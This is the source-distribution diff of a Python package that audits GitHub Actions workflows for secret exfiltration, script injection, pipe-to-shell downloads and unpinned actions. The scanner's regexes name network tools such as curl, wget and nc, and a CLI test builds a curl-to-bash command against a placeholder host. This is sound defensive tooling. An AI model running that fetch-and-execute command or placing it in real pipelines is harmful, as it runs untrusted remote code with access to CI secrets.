actions-warden 0.1.0__tar.gz

actions_warden-0.1.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Dragon-Lady
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

actions_warden-0.1.0/PKG-INFO

@@ -0,0 +1,117 @@
+Metadata-Version: 2.4
+Name: actions-warden
+Version: 0.1.0
+Summary: Read-only auditor for risky or injected GitHub Actions workflow config
+Author: Dragon Lady
+License: MIT License
+        
+        Copyright (c) 2026 Dragon-Lady
+        
+        Permission is hereby granted, free of charge, to any person obtaining a copy
+        of this software and associated documentation files (the "Software"), to deal
+        in the Software without restriction, including without limitation the rights
+        to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+        copies of the Software, and to permit persons to whom the Software is
+        furnished to do so, subject to the following conditions:
+        
+        The above copyright notice and this permission notice shall be included in all
+        copies or substantial portions of the Software.
+        
+        THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+        IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+        FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+        AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+        LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+        OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+        SOFTWARE.
+        
+Project-URL: Homepage, https://github.com/Dragon-Lady/actions-warden
+Project-URL: Repository, https://github.com/Dragon-Lady/actions-warden
+Project-URL: Issues, https://github.com/Dragon-Lady/actions-warden/issues
+Keywords: security,github-actions,ci-cd,workflow,supply-chain,scanner,devsecops
+Classifier: Development Status :: 3 - Alpha
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: Security
+Classifier: Intended Audience :: Developers
+Classifier: Intended Audience :: System Administrators
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.9
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Provides-Extra: dev
+Requires-Dist: pytest<10,>=8; extra == "dev"
+Dynamic: license-file
+
+# Actions Warden
+
+Read-only auditor for risky or injected GitHub Actions workflow config.
+
+After the 2026 wave of repository-theft attacks, a common post-compromise move
+is: steal a token, then inject or tamper with a repo's `.github/workflows/` so
+CI exfiltrates secrets or runs attacker code. Actions Warden scans those workflow
+files for the patterns that enable it.
+
+It does not execute workflows, contact GitHub, modify files, or prove a pipeline
+is safe.
+
+## Install
+
+```sh
+pipx install actions-warden
+# or
+pip install actions-warden
+```
+
+Python 3.9+. No runtime dependencies.
+
+## Usage
+
+```sh
+actions-warden /path/to/repo
+actions-warden /path/to/repo --json
+actions-warden /path/to/repo --report report.json
+```
+
+It scans `.github/workflows/*.yml|*.yaml` and composite `action.yml|action.yaml`
+files. You can also point it at a single workflow file.
+
+Exit codes:
+
+- `0`: no blocking workflow risks found
+- `1`: usage or runtime error
+- `2`: blocking workflow risks found (suitable as a CI gate)
+
+## What It Flags
+
+| Rule | Severity | What it catches |
+|------|----------|-----------------|
+| `secret-exfiltration` | critical | a secret reference alongside an outbound network command |
+| `untrusted-input-injection` | high | attacker-controllable `github.event.*` / `head_ref` interpolated into the workflow (shell injection in run steps) |
+| `remote-code-in-run` | high | a downloaded script piped straight into a shell |
+| `pull-request-target-head-checkout` | high | `pull_request_target` running with secrets while checking out PR-controlled code ("pwn request") |
+| `self-hosted-on-untrusted` | medium | self-hosted runner reachable by external pull requests |
+| `permissions-write-all` | medium | `write-all` token permissions |
+| `oidc-with-write` | medium | OIDC `id-token: write` combined with `contents: write` |
+| `unpinned-action` | low | third-party action pinned to a mutable tag/branch instead of a commit SHA |
+
+The rules are conservative. A finding means "review this workflow," not "this
+repo is compromised."
+
+## Why text-based, not YAML-parsed
+
+A hostile workflow can be written to parse in surprising ways. Actions Warden
+inspects what is actually on disk rather than a parser's normalized view, and
+stays dependency-free. The tradeoff is coarser context: some `file_all` rules
+flag co-occurrence within a file rather than within a single job.
+
+## Scope Limits
+
+This is a narrow CI/CD config scanner. It does not scan dependencies or packages
+(see a dependency/supply-chain scanner for that), does not resolve reusable or
+remote workflows, and will not catch every possible injection or obfuscated
+payload.

actions_warden-0.1.0/README.md

@@ -0,0 +1,68 @@
+# Actions Warden
+
+Read-only auditor for risky or injected GitHub Actions workflow config.
+
+After the 2026 wave of repository-theft attacks, a common post-compromise move
+is: steal a token, then inject or tamper with a repo's `.github/workflows/` so
+CI exfiltrates secrets or runs attacker code. Actions Warden scans those workflow
+files for the patterns that enable it.
+
+It does not execute workflows, contact GitHub, modify files, or prove a pipeline
+is safe.
+
+## Install
+
+```sh
+pipx install actions-warden
+# or
+pip install actions-warden
+```
+
+Python 3.9+. No runtime dependencies.
+
+## Usage
+
+```sh
+actions-warden /path/to/repo
+actions-warden /path/to/repo --json
+actions-warden /path/to/repo --report report.json
+```
+
+It scans `.github/workflows/*.yml|*.yaml` and composite `action.yml|action.yaml`
+files. You can also point it at a single workflow file.
+
+Exit codes:
+
+- `0`: no blocking workflow risks found
+- `1`: usage or runtime error
+- `2`: blocking workflow risks found (suitable as a CI gate)
+
+## What It Flags
+
+| Rule | Severity | What it catches |
+|------|----------|-----------------|
+| `secret-exfiltration` | critical | a secret reference alongside an outbound network command |
+| `untrusted-input-injection` | high | attacker-controllable `github.event.*` / `head_ref` interpolated into the workflow (shell injection in run steps) |
+| `remote-code-in-run` | high | a downloaded script piped straight into a shell |
+| `pull-request-target-head-checkout` | high | `pull_request_target` running with secrets while checking out PR-controlled code ("pwn request") |
+| `self-hosted-on-untrusted` | medium | self-hosted runner reachable by external pull requests |
+| `permissions-write-all` | medium | `write-all` token permissions |
+| `oidc-with-write` | medium | OIDC `id-token: write` combined with `contents: write` |
+| `unpinned-action` | low | third-party action pinned to a mutable tag/branch instead of a commit SHA |
+
+The rules are conservative. A finding means "review this workflow," not "this
+repo is compromised."
+
+## Why text-based, not YAML-parsed
+
+A hostile workflow can be written to parse in surprising ways. Actions Warden
+inspects what is actually on disk rather than a parser's normalized view, and
+stays dependency-free. The tradeoff is coarser context: some `file_all` rules
+flag co-occurrence within a file rather than within a single job.
+
+## Scope Limits
+
+This is a narrow CI/CD config scanner. It does not scan dependencies or packages
+(see a dependency/supply-chain scanner for that), does not resolve reusable or
+remote workflows, and will not catch every possible injection or obfuscated
+payload.

actions_warden-0.1.0/pyproject.toml

@@ -0,0 +1,46 @@
+[build-system]
+requires = ["setuptools>=68", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "actions-warden"
+version = "0.1.0"
+description = "Read-only auditor for risky or injected GitHub Actions workflow config"
+readme = "README.md"
+license = { file = "LICENSE" }
+authors = [{ name = "Dragon Lady" }]
+keywords = ["security", "github-actions", "ci-cd", "workflow", "supply-chain", "scanner", "devsecops"]
+requires-python = ">=3.9"
+dependencies = []
+classifiers = [
+    "Development Status :: 3 - Alpha",
+    "License :: OSI Approved :: MIT License",
+    "Programming Language :: Python :: 3",
+    "Programming Language :: Python :: 3.9",
+    "Programming Language :: Python :: 3.10",
+    "Programming Language :: Python :: 3.11",
+    "Programming Language :: Python :: 3.12",
+    "Topic :: Security",
+    "Intended Audience :: Developers",
+    "Intended Audience :: System Administrators",
+    "Operating System :: OS Independent",
+]
+
+[project.urls]
+Homepage = "https://github.com/Dragon-Lady/actions-warden"
+Repository = "https://github.com/Dragon-Lady/actions-warden"
+Issues = "https://github.com/Dragon-Lady/actions-warden/issues"
+
+[project.optional-dependencies]
+dev = [
+    "pytest>=8,<10",
+]
+
+[project.scripts]
+actions-warden = "actions_warden.cli:main"
+
+[tool.setuptools.packages.find]
+where = ["src"]
+
+[tool.pytest.ini_options]
+norecursedirs = ["build", "dist", "*.egg-info", ".pytest_cache", "__pycache__"]

actions_warden-0.1.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

actions_warden-0.1.0/src/actions_warden/__init__.py

@@ -0,0 +1,7 @@
+"""Read-only auditor for risky or injected GitHub Actions workflow config."""
+
+__version__ = "0.1.0"
+
+from .scanner import RULES, scan_target, scan_workflow_text
+
+__all__ = ["RULES", "scan_target", "scan_workflow_text", "__version__"]

actions_warden-0.1.0/src/actions_warden/__main__.py

@@ -0,0 +1,5 @@
+import sys
+
+from .cli import main
+
+sys.exit(main())

actions_warden-0.1.0/src/actions_warden/cli.py

@@ -0,0 +1,127 @@
+"""Command-line interface.
+
+Argument parsing is hand-rolled (not argparse) to preserve the exit-code
+contract: argparse exits with code 2 on a bad flag, but 2 means "blocking
+workflow risk found" here. Usage/runtime errors must exit 1.
+"""
+
+import json
+import os
+import sys
+
+from .scanner import scan_target
+
+HELP_TEXT = """actions-warden
+
+Read-only auditor for risky or injected GitHub Actions workflow config.
+
+Usage:
+  actions-warden [target] [--json] [--report report.json]
+
+Options:
+  --json              print JSON report to stdout
+  --report <path>     write JSON report to a specific path
+  -h, --help          show this help
+
+Exit codes:
+  0  no blocking workflow risks found
+  1  usage or runtime error
+  2  blocking workflow risks found
+"""
+
+
+def _parse_args(argv):
+    args = {"target": ".", "json": False, "report_path": "", "help": False}
+    index = 0
+    while index < len(argv):
+        arg = argv[index]
+        if arg in ("--help", "-h"):
+            args["help"] = True
+        elif arg == "--json":
+            args["json"] = True
+        elif arg == "--report":
+            index += 1
+            if index >= len(argv) or not argv[index]:
+                raise ValueError("--report requires a file path")
+            args["report_path"] = argv[index]
+        elif arg.startswith("--report="):
+            args["report_path"] = arg[len("--report="):]
+            if not args["report_path"]:
+                raise ValueError("--report requires a file path")
+        elif not arg.startswith("-"):
+            args["target"] = arg
+        else:
+            raise ValueError(f"Unknown argument: {arg}")
+        index += 1
+    return args
+
+
+def _print_human(report, written_report_path):
+    print("Actions Warden")
+    print(f"Target: {report['target']}")
+    print(f"Risk: {report['risk']}")
+    print(f"Scanned: {report['summary']['filesScanned']} workflow files")
+    print(f"Findings: {report['summary']['findings']}")
+    print("")
+
+    if report["risk"] == "blocked":
+        print("STOP")
+        print("Risky or injected GitHub Actions workflow config was found.")
+        print("Review each finding before merging, re-enabling, or trusting this pipeline.")
+        print("")
+    else:
+        print("No blocking workflow risks were found by this scanner.")
+        print("This does not prove the pipeline is safe; it only covers known local rules.")
+        print("")
+
+    if report["findings"]:
+        print("Findings:")
+        for item in report["findings"]:
+            location = item["path"]
+            if item.get("line"):
+                location = f"{location}:{item['line']}"
+            print(f"[{item['severity']}] {item['type']}")
+            print(f"  {location}")
+            print(f"  {item['message']}")
+            if item["evidence"]:
+                print(f"  evidence: {item['evidence']}")
+        print("")
+
+    print("Guidance:")
+    for item in report["guidance"]:
+        print(f"- {item}")
+
+    if written_report_path:
+        print("")
+        print(f"JSON report written: {written_report_path}")
+
+
+def main(argv=None):
+    if argv is None:
+        argv = sys.argv[1:]
+    try:
+        args = _parse_args(argv)
+        if args["help"]:
+            print(HELP_TEXT)
+            return 0
+
+        report = scan_target(args["target"])
+        written_report_path = ""
+        if args["report_path"]:
+            written_report_path = os.path.abspath(args["report_path"])
+            with open(written_report_path, "w", encoding="utf-8") as handle:
+                handle.write(json.dumps(report, indent=2) + "\n")
+
+        if args["json"]:
+            print(json.dumps(report, indent=2))
+        else:
+            _print_human(report, written_report_path)
+
+        return 2 if report["risk"] == "blocked" else 0
+    except (ValueError, OSError) as error:
+        print(f"Error: {error}", file=sys.stderr)
+        return 1
+
+
+if __name__ == "__main__":
+    sys.exit(main())

actions_warden-0.1.0/src/actions_warden/scanner.py

@@ -0,0 +1,360 @@
+"""Core scanning logic for GitHub Actions workflow auditing.
+
+This scanner is intentionally text/regex based rather than YAML-parsed: a
+hostile workflow can be crafted to parse oddly, and we want to inspect what is
+actually written on disk, not what a parser normalizes. It runs read-only, makes
+no network calls, and executes nothing.
+
+Rules map to the GitHub Actions security-hardening guidance and to the
+post-compromise TTP seen in 2026 (stolen PAT -> injected workflow that exfils
+secrets or runs attacker code). A finding means "review this workflow," not
+"this repo is compromised."
+"""
+
+import os
+import re
+from datetime import datetime, timezone
+
+DEFAULT_MAX_FILE_BYTES = 1 * 1024 * 1024
+
+SKIP_DIRS = {
+    ".git",
+    ".hg",
+    ".svn",
+    "node_modules",
+    ".venv",
+    "venv",
+    "dist",
+    "build",
+    "coverage",
+    "__pycache__",
+    ".pytest_cache",
+}
+
+# Attacker-controllable expression contexts. Interpolating these into an inline
+# shell `run:` step is GitHub's top-documented Actions injection vector.
+_UNTRUSTED_EXPR = r"github\.(?:head_ref|event\.(?:issue\.title|issue\.body|pull_request\.title|pull_request\.body|pull_request\.head\.ref|comment\.body|review\.body|review_comment\.body|pages|head_commit\.message|commits)|event\.pull_request\.head\.repo\.full_name)"
+
+# Outbound-exfil command families. Built from parts so the repo does not ship a
+# single copy-paste-ready exfil one-liner.
+_OUTBOUND = r"(?:" + "|".join(
+    [
+        r"c" + r"url",
+        r"w" + r"get",
+        r"\bnc\b",
+        r"ncat",
+        r"invoke-?webrequest",
+        r"invoke-?restmethod",
+        r"\birm\b",
+        r"\biwr\b",
+    ]
+) + r")"
+
+_PIPE_SHELL = (
+    r"(?:c" + r"url|w" + r"get)\b[^\n|]*\|\s*(?:bash|sh|zsh)\b"
+    r"|(?:i" + r"wr|invoke-?webrequest|i" + r"rm|invoke-?restmethod)\b[^\n|]*\|\s*"
+    r"(?:iex|invoke-?expression)\b"
+)
+
+
+RULES = [
+    {
+        "id": "secret-exfiltration",
+        "severity": "critical",
+        "type": "workflow-secret-exfiltration",
+        "description": (
+            "Workflow references a secret and an outbound network command; a "
+            "secret may be sent off the runner."
+        ),
+        "file_all": [r"secrets\.", _OUTBOUND],
+    },
+    {
+        "id": "untrusted-input-injection",
+        "severity": "high",
+        "type": "workflow-script-injection",
+        "description": (
+            "Attacker-controllable input is interpolated into the workflow; in "
+            "an inline run step this allows shell script injection."
+        ),
+        "line_any": [r"\$\{\{[^}]*" + _UNTRUSTED_EXPR],
+    },
+    {
+        "id": "remote-code-in-run",
+        "severity": "high",
+        "type": "workflow-remote-code-exec",
+        "description": "Workflow pipes a downloaded script directly into a shell.",
+        "line_any": [_PIPE_SHELL],
+    },
+    {
+        "id": "pull-request-target-head-checkout",
+        "severity": "high",
+        "type": "workflow-pwn-request",
+        "description": (
+            "pull_request_target runs with repo secrets while checking out "
+            "pull-request-controlled code (the 'pwn request' pattern)."
+        ),
+        "file_all": [
+            r"pull_request_target",
+            r"uses:\s*actions/checkout",
+            r"ref:\s*\$\{\{[^}]*github\.event\.pull_request\.head|head\.ref|head\.sha",
+        ],
+    },
+    {
+        "id": "self-hosted-on-untrusted",
+        "severity": "medium",
+        "type": "workflow-self-hosted-untrusted",
+        "description": (
+            "A self-hosted runner is used in a workflow triggered by external "
+            "pull requests; untrusted code may run on your hardware."
+        ),
+        "file_all": [r"runs-on:\s*\[?[^\n]*self-hosted", r"on:[^\n]*pull_request\b|pull_request:"],
+    },
+    {
+        "id": "permissions-write-all",
+        "severity": "medium",
+        "type": "workflow-broad-permissions",
+        "description": "Workflow grants write-all token permissions (broad blast radius).",
+        "line_any": [r"permissions:\s*write-all"],
+    },
+    {
+        "id": "oidc-with-write",
+        "severity": "medium",
+        "type": "workflow-oidc-write",
+        "description": (
+            "Workflow combines OIDC id-token issuance with write permissions; "
+            "confirm this scope is intended."
+        ),
+        "file_all": [r"id-token:\s*write", r"contents:\s*write"],
+    },
+    {
+        "id": "unpinned-action",
+        "severity": "low",
+        "type": "workflow-unpinned-action",
+        "description": (
+            "Third-party action is pinned to a mutable tag/branch, not a full "
+            "commit SHA; a hijacked tag would run in your pipeline."
+        ),
+        "uses_unpinned": True,
+    },
+]
+
+_SHA_RE = re.compile(r"^[0-9a-f]{40}$")
+_USES_RE = re.compile(r"uses:\s*([^\s@'\"]+)@([^\s'\"#]+)")
+
+
+def scan_target(target_path=".", max_file_bytes=DEFAULT_MAX_FILE_BYTES):
+    from . import __version__
+
+    root = os.path.abspath(target_path or ".")
+    findings = []
+    files_scanned = 0
+    files_skipped = 0
+
+    for file_path in _iter_workflow_files(root):
+        size = _safe_size(file_path)
+        if size is None:
+            continue
+        if size > max_file_bytes:
+            files_skipped += 1
+            findings.append(
+                _finding("low", "large-file-skipped", file_path,
+                         f"Skipped file over {max_file_bytes} bytes.")
+            )
+            continue
+        text = _read_text(file_path)
+        if text is None:
+            findings.append(
+                _finding("low", "read-error", file_path,
+                         "Could not read file as UTF-8 text.")
+            )
+            continue
+        files_scanned += 1
+        scan_workflow_text(file_path, text, findings)
+
+    deduped = _dedupe_findings(findings)
+    risk = _risk_level(deduped)
+    return {
+        "tool": "actions-warden",
+        "version": __version__,
+        "scannedAt": datetime.now(timezone.utc).isoformat(),
+        "target": root,
+        "risk": risk,
+        "summary": {
+            "filesScanned": files_scanned,
+            "filesSkipped": files_skipped,
+            "findings": len(deduped),
+        },
+        "findings": deduped,
+        "guidance": _guidance_for_risk(risk),
+    }
+
+
+def scan_workflow_text(file_path, text, findings):
+    lines = text.splitlines()
+    for rule in RULES:
+        if rule.get("uses_unpinned"):
+            _scan_unpinned(rule, file_path, lines, findings)
+        elif "line_any" in rule:
+            hit = _match_line_any(rule["line_any"], lines)
+            if hit:
+                line_no, snippet = hit
+                findings.append(
+                    _finding(rule["severity"], rule["type"], file_path,
+                             f"{rule['description']} Rule: {rule['id']}.",
+                             _defang(snippet), line_no)
+                )
+        elif "file_all" in rule:
+            evidence = _match_file_all(rule["file_all"], text)
+            if evidence is not None:
+                findings.append(
+                    _finding(rule["severity"], rule["type"], file_path,
+                             f"{rule['description']} Rule: {rule['id']}.",
+                             evidence)
+                )
+
+
+def _match_line_any(patterns, lines):
+    compiled = [re.compile(p, re.IGNORECASE) for p in patterns]
+    for index, line in enumerate(lines):
+        for pattern in compiled:
+            match = pattern.search(line)
+            if match:
+                return index + 1, line.strip()
+    return None
+
+
+def _match_file_all(patterns, text):
+    snippets = []
+    for pattern in patterns:
+        match = re.search(pattern, text, re.IGNORECASE)
+        if not match:
+            return None
+        snippets.append(_defang(match.group(0).strip()))
+    return " + ".join(snippets)
+
+
+def _scan_unpinned(rule, file_path, lines, findings):
+    for index, line in enumerate(lines):
+        match = _USES_RE.search(line)
+        if not match:
+            continue
+        ref_path, ref = match.group(1), match.group(2)
+        if ref_path.startswith("./") or ref_path.startswith("docker://"):
+            continue
+        if "/" not in ref_path:
+            continue
+        if _SHA_RE.match(ref):
+            continue
+        findings.append(
+            _finding(rule["severity"], rule["type"], file_path,
+                     f"{rule['description']} Rule: {rule['id']}.",
+                     _defang(f"uses: {ref_path}@{ref}"), index + 1)
+        )
+
+
+def _iter_workflow_files(root):
+    if os.path.isfile(root):
+        if _looks_like_workflow_path(root) or root.lower().endswith((".yml", ".yaml")):
+            yield root
+        return
+
+    stack = [root]
+    while stack:
+        current = stack.pop()
+        try:
+            entries = list(os.scandir(current))
+        except OSError:
+            continue
+        for entry in entries:
+            try:
+                if entry.is_dir(follow_symlinks=False):
+                    if entry.name not in SKIP_DIRS:
+                        stack.append(entry.path)
+                elif entry.is_file(follow_symlinks=False) and _looks_like_workflow_path(entry.path):
+                    yield entry.path
+            except OSError:
+                continue
+
+
+def _looks_like_workflow_path(path):
+    norm = path.replace("\\", "/")
+    base = os.path.basename(norm).lower()
+    if base in ("action.yml", "action.yaml"):
+        return True
+    if "/.github/workflows/" in norm and base.endswith((".yml", ".yaml")):
+        return True
+    return False
+
+
+def _safe_size(file_path):
+    try:
+        return os.stat(file_path).st_size
+    except OSError:
+        return None
+
+
+def _read_text(file_path):
+    try:
+        with open(file_path, "r", encoding="utf-8") as handle:
+            return handle.read()
+    except (OSError, UnicodeDecodeError):
+        return None
+
+
+def _defang(text):
+    text = str(text)
+    text = re.sub(r"https?://", lambda m: m.group(0).replace("http", "hxxp"), text, flags=re.IGNORECASE)
+    if len(text) > 140:
+        text = text[:137] + "..."
+    return text
+
+
+def _finding(severity, type_, path, message, evidence="", line=None):
+    return {
+        "severity": severity,
+        "type": type_,
+        "path": path,
+        "line": line,
+        "message": message,
+        "evidence": evidence,
+    }
+
+
+def _dedupe_findings(findings):
+    seen = set()
+    result = []
+    for item in findings:
+        key = (item["severity"], item["type"], item["path"], item["line"],
+               item["message"], item["evidence"])
+        if key in seen:
+            continue
+        seen.add(key)
+        result.append(item)
+    return result
+
+
+def _risk_level(findings):
+    if any(item["severity"] in ("critical", "high") for item in findings):
+        return "blocked"
+    if any(item["severity"] in ("medium", "low") for item in findings):
+        return "review-needed"
+    return "no-known-indicators"
+
+
+def _guidance_for_risk(risk):
+    if risk == "blocked":
+        return [
+            "Do not merge or re-enable these workflows until each finding is explained.",
+            "If a workflow was added or changed unexpectedly, treat it as possible token-theft tampering and rotate affected PATs/secrets.",
+            "Pin third-party actions to full commit SHAs and scope GITHUB_TOKEN permissions to least privilege.",
+            "Never interpolate attacker-controllable input directly into run steps; pass it through an intermediate env var.",
+        ]
+    if risk == "review-needed":
+        return [
+            "Review medium/low findings before trusting this pipeline.",
+            "Pin actions to commit SHAs and confirm self-hosted-runner and permission scopes are intended.",
+        ]
+    return [
+        "No blocking workflow risks were found by this scanner.",
+        "This is a narrow CI/CD config scanner, not proof the pipeline is safe.",
+    ]

actions_warden-0.1.0/src/actions_warden.egg-info/PKG-INFO

@@ -0,0 +1,117 @@
+Metadata-Version: 2.4
+Name: actions-warden
+Version: 0.1.0
+Summary: Read-only auditor for risky or injected GitHub Actions workflow config
+Author: Dragon Lady
+License: MIT License
+        
+        Copyright (c) 2026 Dragon-Lady
+        
+        Permission is hereby granted, free of charge, to any person obtaining a copy
+        of this software and associated documentation files (the "Software"), to deal
+        in the Software without restriction, including without limitation the rights
+        to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+        copies of the Software, and to permit persons to whom the Software is
+        furnished to do so, subject to the following conditions:
+        
+        The above copyright notice and this permission notice shall be included in all
+        copies or substantial portions of the Software.
+        
+        THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+        IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+        FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+        AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+        LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+        OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+        SOFTWARE.
+        
+Project-URL: Homepage, https://github.com/Dragon-Lady/actions-warden
+Project-URL: Repository, https://github.com/Dragon-Lady/actions-warden
+Project-URL: Issues, https://github.com/Dragon-Lady/actions-warden/issues
+Keywords: security,github-actions,ci-cd,workflow,supply-chain,scanner,devsecops
+Classifier: Development Status :: 3 - Alpha
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: Security
+Classifier: Intended Audience :: Developers
+Classifier: Intended Audience :: System Administrators
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.9
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Provides-Extra: dev
+Requires-Dist: pytest<10,>=8; extra == "dev"
+Dynamic: license-file
+
+# Actions Warden
+
+Read-only auditor for risky or injected GitHub Actions workflow config.
+
+After the 2026 wave of repository-theft attacks, a common post-compromise move
+is: steal a token, then inject or tamper with a repo's `.github/workflows/` so
+CI exfiltrates secrets or runs attacker code. Actions Warden scans those workflow
+files for the patterns that enable it.
+
+It does not execute workflows, contact GitHub, modify files, or prove a pipeline
+is safe.
+
+## Install
+
+```sh
+pipx install actions-warden
+# or
+pip install actions-warden
+```
+
+Python 3.9+. No runtime dependencies.
+
+## Usage
+
+```sh
+actions-warden /path/to/repo
+actions-warden /path/to/repo --json
+actions-warden /path/to/repo --report report.json
+```
+
+It scans `.github/workflows/*.yml|*.yaml` and composite `action.yml|action.yaml`
+files. You can also point it at a single workflow file.
+
+Exit codes:
+
+- `0`: no blocking workflow risks found
+- `1`: usage or runtime error
+- `2`: blocking workflow risks found (suitable as a CI gate)
+
+## What It Flags
+
+| Rule | Severity | What it catches |
+|------|----------|-----------------|
+| `secret-exfiltration` | critical | a secret reference alongside an outbound network command |
+| `untrusted-input-injection` | high | attacker-controllable `github.event.*` / `head_ref` interpolated into the workflow (shell injection in run steps) |
+| `remote-code-in-run` | high | a downloaded script piped straight into a shell |
+| `pull-request-target-head-checkout` | high | `pull_request_target` running with secrets while checking out PR-controlled code ("pwn request") |
+| `self-hosted-on-untrusted` | medium | self-hosted runner reachable by external pull requests |
+| `permissions-write-all` | medium | `write-all` token permissions |
+| `oidc-with-write` | medium | OIDC `id-token: write` combined with `contents: write` |
+| `unpinned-action` | low | third-party action pinned to a mutable tag/branch instead of a commit SHA |
+
+The rules are conservative. A finding means "review this workflow," not "this
+repo is compromised."
+
+## Why text-based, not YAML-parsed
+
+A hostile workflow can be written to parse in surprising ways. Actions Warden
+inspects what is actually on disk rather than a parser's normalized view, and
+stays dependency-free. The tradeoff is coarser context: some `file_all` rules
+flag co-occurrence within a file rather than within a single job.
+
+## Scope Limits
+
+This is a narrow CI/CD config scanner. It does not scan dependencies or packages
+(see a dependency/supply-chain scanner for that), does not resolve reusable or
+remote workflows, and will not catch every possible injection or obfuscated
+payload.

actions_warden-0.1.0/src/actions_warden.egg-info/SOURCES.txt

@@ -0,0 +1,15 @@
+LICENSE
+README.md
+pyproject.toml
+src/actions_warden/__init__.py
+src/actions_warden/__main__.py
+src/actions_warden/cli.py
+src/actions_warden/scanner.py
+src/actions_warden.egg-info/PKG-INFO
+src/actions_warden.egg-info/SOURCES.txt
+src/actions_warden.egg-info/dependency_links.txt
+src/actions_warden.egg-info/entry_points.txt
+src/actions_warden.egg-info/requires.txt
+src/actions_warden.egg-info/top_level.txt
+tests/test_cli.py
+tests/test_scanner.py

actions_warden-0.1.0/src/actions_warden.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

actions_warden-0.1.0/src/actions_warden.egg-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+actions-warden = actions_warden.cli:main

actions_warden-0.1.0/src/actions_warden.egg-info/requires.txt

@@ -0,0 +1,3 @@
+
+[dev]
+pytest<10,>=8

actions_warden-0.1.0/src/actions_warden.egg-info/top_level.txt

@@ -0,0 +1 @@
+actions_warden

actions_warden-0.1.0/tests/test_cli.py

@@ -0,0 +1,58 @@
+import json
+
+from actions_warden.cli import main
+
+
+def join_parts(*parts):
+    return "".join(parts)
+
+
+def write_workflow(root, name, body):
+    wf_dir = root / ".github" / "workflows"
+    wf_dir.mkdir(parents=True, exist_ok=True)
+    (wf_dir / name).write_text(body)
+
+
+def test_clean_target_exits_zero(tmp_path, capsys):
+    write_workflow(tmp_path, "ci.yml", "on: push\njobs:\n  t:\n    runs-on: ubuntu-latest\n    steps:\n      - run: echo hi\n")
+    assert main([str(tmp_path)]) == 0
+    assert "No blocking workflow risks" in capsys.readouterr().out
+
+
+def test_blocked_target_exits_two(tmp_path, capsys):
+    sh = join_parts("ba", "sh")
+    curl = join_parts("cur", "l")
+    write_workflow(tmp_path, "rce.yml", f"on: push\njobs:\n  t:\n    runs-on: ubuntu-latest\n    steps:\n      - run: {curl} https://x.example | {sh}\n")
+    assert main([str(tmp_path)]) == 2
+    assert "STOP" in capsys.readouterr().out
+
+
+def test_json_output_parses(tmp_path, capsys):
+    write_workflow(tmp_path, "ci.yml", "on: push\njobs:\n  t:\n    runs-on: ubuntu-latest\n    steps:\n      - run: echo hi\n")
+    assert main([str(tmp_path), "--json"]) == 0
+    report = json.loads(capsys.readouterr().out)
+    assert report["tool"] == "actions-warden"
+
+
+def test_report_file_written(tmp_path):
+    write_workflow(tmp_path, "ci.yml", "on: push\njobs:\n  t:\n    runs-on: ubuntu-latest\n    steps:\n      - run: echo hi\n")
+    report_path = tmp_path / "out" / "report.json"
+    report_path.parent.mkdir()
+    assert main([str(tmp_path), f"--report={report_path}"]) == 0
+    report = json.loads(report_path.read_text())
+    assert report["tool"] == "actions-warden"
+
+
+def test_unknown_argument_exits_one(capsys):
+    assert main(["--bogus"]) == 1
+    assert "Unknown argument" in capsys.readouterr().err
